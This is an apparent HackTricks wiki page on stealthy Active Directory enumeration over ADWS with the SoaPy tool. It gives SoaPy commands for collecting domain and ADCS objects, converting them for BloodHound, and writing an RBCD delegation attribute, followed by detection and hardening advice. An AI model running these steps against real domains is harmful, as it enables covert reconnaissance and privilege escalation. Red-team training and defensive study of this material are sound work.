# Active Directory Web Services (ADWS) Enumeration & Stealth Collection {{#include ../../banners/hacktricks-training.md}} ## What is ADWS? Active Directory Web Services (ADWS) is **enabled by default on every Domain Controller since Windows Server 2008 R2** and listens on TCP **9389**. Despite the name, **no HTTP is involved**. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols: * MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, **enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic**. For operators this means: * Stealthier recon – Blue teams often concentrate on LDAP queries. * Freedom to collect from **non-Windows hosts (Linux, macOS)** by tunnelling 9389/TCP through a SOCKS proxy. * The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform **writes** (e.g. `msDs-AllowedToActOnBehalfOfOtherIdentity` for **RBCD**). > NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity. ## SoaPy – Native Python Client [SoaPy](https://github.com/logangoins/soapy) is a **full re-implementation of the ADWS protocol stack in pure Python**. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime. ### Key Features * Supports **proxying through SOCKS** (useful from C2 implants). * Fine-grained search filters identical to LDAP `-q '(objectClass=user)'`. * Optional **write** operations ( `--set` / `--delete` ). * **BOFHound output mode** for direct ingestion into BloodHound. * `--parse` flag to prettify timestamps / `userAccountControl` when human readability is required. ### Installation (operator host) ```bash python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt ``` ## Stealth AD Collection Workflow The following workflow shows how to enumerate **domain & ADCS objects** over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux: 1. **Tunnel 9389/TCP** from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export `export HTTPS_PROXY=socks5://127.0.0.1:1080` or use SoaPy’s `--proxyHost/--proxyPort`. 2. **Collect the root domain object:** ```bash soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \ -q '(objectClass=domain)' \ | tee data/domain.log ``` 3. **Collect ADCS-related objects from the Configuration NC:** ```bash soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \ -dn 'CN=Configuration,DC=ludus,DC=domain' \ -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\ (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \ | tee data/adcs.log ``` 4. **Convert to BloodHound:** ```bash bofhound -i data --zip # produces BloodHound.zip ``` 5. **Upload the ZIP** in the BloodHound GUI and run cypher queries such as `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` to reveal certificate escalation paths (ESC1, ESC8, etc.). ### Writing `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD) ```bash soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \ --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....' ``` Combine this with `s4u2proxy`/`Rubeus /getticket` for a full **Resource-Based Constrained Delegation** chain. ## Detection & Hardening ### Verbose ADDS Logging Enable the following registry keys on Domain Controllers to surface expensive / inefficient searches coming from ADWS (and LDAP): ```powershell New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD ``` Events will appear under **Directory-Service** with the full LDAP filter, even when the query arrived via ADWS. ### SACL Canary Objects 1. Create a dummy object (e.g. disabled user `CanaryUser`). 2. Add an **Audit** ACE for the _Everyone_ principal, audited on **ReadProperty**. 3. Whenever an attacker performs `(servicePrincipalName=*)`, `(objectClass=user)` etc. the DC emits **Event 4662** which contains the real user SID – even when the request is proxied or originates from ADWS. Elastic pre-built rule example: ```kql (event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10" ``` ## Tooling Summary | Purpose | Tool | Notes | |---------|------|-------| | ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write | | BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Converts SoaPy/ldapsearch logs | | Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Can be proxied through same SOCKS | ## References * [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/) * [SoaPy GitHub](https://github.com/logangoins/soapy) * [BOFHound GitHub](https://github.com/bohops/BOFHound) * [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/) {{#include ../../banners/hacktricks-training.md}}